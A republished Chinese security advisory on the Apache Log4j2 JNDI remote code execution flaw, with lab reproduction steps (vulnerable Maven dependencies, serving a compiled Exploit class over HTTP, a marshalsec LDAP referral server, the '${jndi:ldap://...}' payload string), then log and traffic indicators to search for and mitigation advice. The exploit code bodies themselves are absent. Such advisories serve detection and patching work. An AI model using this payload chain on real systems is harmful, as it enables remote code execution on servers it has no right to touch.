Apache Log4j远程代码执行漏洞(含排查措施和修复建议)
2023-4-12 22:5:9 Author: 星冥安全(查看原文) 阅读量:27 收藏

Apache Log4j远程代码执行漏洞(含排查措施和修复建议)

    Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

    Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

    Log4j2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等众多组件与大型应用均受影响。鉴于此漏洞危害巨大,利用门槛极低。

    Apache Log4j 2.x < 2.15.0-rc2

    技术细节-已公开
    PoC状态-已公开
    EXP状态-已公开
    在野利用-已发现

    紧急较大事件

    1、复现pom文件,需要引入的jar:

    <dependencies>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
    </dependency>
    </dependencies>

    2、POC内容:

    3、Exploit内容

    4、使用java编译一个class文件

    javac Exploit.java

    5、使用python开启http服务(其他也行)

    将Exploit.class文件放入http服务目录(在哪个文件夹下启动,显示的就是当前文件夹的文件,默认是 8000,指定了端口之后,访问就是指定的端口)

    python -m http.server 4444

    python -m SimpleHTTPServer 4444

    6、marshalsec工具启动LDAP服务
    不指定端口:

    marshalsec-master\marshalsec-master\target>java -cp marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:4444/#Exploit 不指定端口默认是1389 Exploit是文件名称

    指定端口:

    marshalsec-master\marshalsec-master\target>java -cp marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1099

    7、执行poc
    运行poc中的代码可以看到Exp中的代码已经被运行

    首先需要在公网执行marshalsec启动LDAP服务,目的是为了让目标能够读取到我们的Exp ,参数中提交 payload: "${jndi:ldap://localhost:1389/Exploit}"。

    8、利用条件
    当功能传输参数直接输出到日志时,可以构造payload,直接访问。

    1、漏洞排查
    排查应用是否引入了 Apache Log4j2 Jar 包,若存在依赖引入,则可能存在漏
    洞影响。

    • (a)相关用户可根据 Java JAR 解压后是否存在 org/apache/logging/log4j 相关路径结构,判断是否使用了存在漏洞的组件,若存在相关 Java 程序包,则极可能存在该漏洞。

    • (b)若程序使用 Maven 打包,查看项目的 pom.xml 文件中是否存在如下图所示的相关字段,若版本号为小于 2.15.0-rc2,则存在该漏洞。

    • (c)若程序使用 gradle 打包,查看 build.gradle 编译配置文件,若在dependencies 部分存在 org.apache.logging.log4j 相关字段,且版本号为小于 2.15.0-rc2,则存在该漏洞。

    2、攻击排查

    • 攻击者在利用前通常采用 dnslog 方式进行扫描、探测,对于常见
      利用方式可通过应用系统报错日志中的
      "javax.naming.CommunicationException"、
      "javax.naming.NamingException: problem generating object using object factory"、"Error looking up JNDI resource"关键字进行排查。

    • 流量排查:攻击者的数据包中可能存在:“${jndi:rmi”、
      “${jndi:ldap” 字样,推荐使用奇安信网神网站应用安全云防护系
      统全流量或 WAF 设备进行检索排查。

    3、修复建议
    (1)升级到最新版本:
    请联系厂商获取修复后的官方版本:https://github.com/apache/logginglog4j2 ;
    请尽快升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logginglog4j2/releases/tag/log4j-2.15.0-rc2 或采用奇安信产品解决方案来防护此漏洞。

    (2)缓解措施:

    • 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true。

    • 在应用程序的 classpath 下添加 log4j2.component.properties 配置文件文件,文件内容:log4j2.formatMsgNoLookups=True。

    • 设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。

    • 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本。

    • 限制受影响应用对外访问互联网。

    转载:https://forum.butian.net/share/963作者:26号院欢迎大家去关注作者

    文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247488351&idx=1&sn=5e508f2d085afe3aead272e69647d362&chksm=c12c2599f65bac8fb6f0873ba6d4747b2ed4f49254694322e0d83a9c1dd809f336047a5b7668#rd
    如有侵权请联系:admin#unsafe.sh